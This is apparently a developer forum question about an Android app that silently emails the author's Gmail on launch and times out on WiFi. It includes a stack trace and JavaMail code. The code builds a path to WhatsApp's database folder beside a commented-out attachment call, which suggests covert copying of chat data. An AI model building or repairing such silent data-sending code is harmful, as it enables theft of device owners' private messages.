I'm creating an app, which sends an Email to my Gmail address automatically when opened (No need to open any other default Email sender app from device(i.e Gmail)).
I've followed this link for creating this application.
It works perfectly when device is connected to 4G data pack. But when I connect my device to WiFi, Every time it gives connection timed out
. The complete error log is:
W/System.err: javax.mail.MessagingException: Could not connect to SMTP host: smtp.gmail.com, port: 465;
W/System.err: nested exception is:
W/System.err: java.net.ConnectException: failed to connect to smtp.gmail.com/2404:6800:4003:c02::6d (port 465): connect failed: ETIMEDOUT (Connection timed out)
W/System.err: at com.sun.mail.smtp.SMTPTransport.openServer(SMTPTransport.java:1391)
W/System.err: at com.sun.mail.smtp.SMTPTransport.protocolConnect(SMTPTransport.java:412)
W/System.err: at javax.mail.Service.connect(Service.java:310)
W/System.err: at javax.mail.Service.connect(Service.java:169)
W/System.err: at javax.mail.Service.connect(Service.java:118)
W/System.err: at javax.mail.Transport.send0(Transport.java:188)
W/System.err: at javax.mail.Transport.send(Transport.java:118)
W/System.err: at purvil12c.email0.task.doInBackground(task.java:22)
W/System.err: at purvil12c.email0.task.doInBackground(task.java:14)
W/System.err: at android.os.AsyncTask$2.call(AsyncTask.java:292)
W/System.err: at java.util.concurrent.FutureTask.run(FutureTask.java:237)
W/System.err: at android.os.AsyncTask$SerialExecutor$1.run(AsyncTask.java:231)
W/System.err: at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1112)
W/System.err: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:587)
W/System.err: at java.lang.Thread.run(Thread.java:818)
W/System.err: Caused by: java.net.ConnectException: failed to connect to smtp.gmail.com/2404:6800:4003:c02::6d (port 465): connect failed: ETIMEDOUT (Connection timed out)
W/System.err: at libcore.io.IoBridge.connect(IoBridge.java:124)
W/System.err: at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:183)
W/System.err: at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:456)
W/System.err: at java.net.Socket.connect(Socket.java:882)
W/System.err: at java.net.Socket.connect(Socket.java:825)
W/System.err: at com.sun.mail.util.SocketFetcher.createSocket(SocketFetcher.java:233)
W/System.err: at com.sun.mail.util.SocketFetcher.getSocket(SocketFetcher.java:163)
W/System.err: at com.sun.mail.smtp.SMTPTransport.openServer(SMTPTransport.java:1359)
W/System.err: ... 14 more
W/System.err: Caused by: android.system.ErrnoException: connect failed: ETIMEDOUT (Connection timed out)
W/System.err: at libcore.io.Posix.connect(Native Method)
W/System.err: at libcore.io.BlockGuardOs.connect(BlockGuardOs.java:111)
W/System.err: at libcore.io.IoBridge.connectErrno(IoBridge.java:137)
W/System.err: at libcore.io.IoBridge.connect(IoBridge.java:122)
W/System.err: ... 21 more
And for reference, my code is as following:
GMailSender.java
public class GMailSender extends javax.mail.Authenticator {
private String mailhost = "smtp.gmail.com";
private String user;
private String password;
private Session session;
private Multipart _multipart = new MimeMultipart();
private Context context;
static {
Security.addProvider(new com.provider.JSSEProvider());
}
public GMailSender(String user, String password, Context c) {
this.user = user;
this.password = password;
this.context = c;
Properties props = new Properties();
props.setProperty("mail.transport.protocol", "smtp");
props.setProperty("mail.host", mailhost);
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.port", "465");
props.put("mail.smtp.socketFactory.port", "465");
props.put("mail.smtp.socketFactory.class",
"javax.net.ssl.SSLSocketFactory");
//added xtra.
props.put("mail.smtp.starttls.enable", "true");
props.put("mail.smtp.socketFactory.fallback", "false");
props.setProperty("mail.smtp.quitwait", "false");
session = Session.getDefaultInstance(props, this);
}
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(user, password);
}
public synchronized void sendMail(String subject, String body, String sender, String recipients) throws Exception {
try {
MimeMessage message = new MimeMessage(session);
DataHandler handler = new DataHandler(new ByteArrayDataSource(body.getBytes(), "text/plain"));
InternetAddress ia = new InternetAddress();
ia.setAddress(sender);
// OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput("configLOL.txt", Context.MODE_APPEND));
String path = Environment.getExternalStorageDirectory().getPath() + "/WhatsApp/Databases/k.zip";
// addAttachment(path, subject);
message.setSender(ia);
message.setSubject("subject", "UTF-8");
message.setSubject(subject);
message.setDataHandler(handler);
// message.setContent(_multipart);
if (recipients.indexOf(',') > 0)
message.setRecipients(Message.RecipientType.TO, InternetAddress.parse(recipients));
else
message.setRecipient(Message.RecipientType.TO, new InternetAddress(recipients));
// Transport.send(message);
new task().execute(message);
//Toast.makeText(context,"success",Toast.LENGTH_LONG).show();
} catch (Exception e) {
e.printStackTrace();
}}
public void addAttachment(String filename, String subject) throws Exception {
BodyPart messageBodyPart = new MimeBodyPart();
DataSource source = new FileDataSource(filename);
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName(filename);
_multipart.addBodyPart(messageBodyPart);
BodyPart messageBodyPart2 = new MimeBodyPart();
messageBodyPart2.setText(subject);
_multipart.addBodyPart(messageBodyPart2);
}
}
class ByteArrayDataSource implements DataSource {
private byte[] data;
private String type;
public ByteArrayDataSource(byte[] data, String type) {
super();
this.data = data;
this.type = type;
}
public ByteArrayDataSource(byte[] data) {
super();
this.data = data;
}
public void setType(String type) {
this.type = type;
}
public String getContentType() {
if (type == null)
return "application/octet-stream";
else
return type;
}
public InputStream getInputStream() throws IOException {
return new ByteArrayInputStream(data);
}
public String getName() {
return "ByteArrayDataSource";
}
public OutputStream getOutputStream() throws IOException {
throw new IOException("Not Supported");
}}
and I'm performing network operation in background using AsyncTask. Which is not given in the link I followed and mentioned above. The code of This class is as following:
public class task extends AsyncTask<MimeMessage, Integer,Long>{
@Override
protected Long doInBackground(MimeMessage... strings) {
try{
System.out.println("in background");
Transport.send(strings[0]);
}
catch (Exception e){
// Toast.makeText(c,e.getMessage(),Toast.LENGTH_LONG).show();
e.printStackTrace();
}
return null;
}}
So what I'm missing here? Is there problem in my WiFi network? But Internet works perfectly for other stuff like downloading, surfing, etc. Also I've posted this question over the same WiFi which is not working for sending the mail.
Thank you.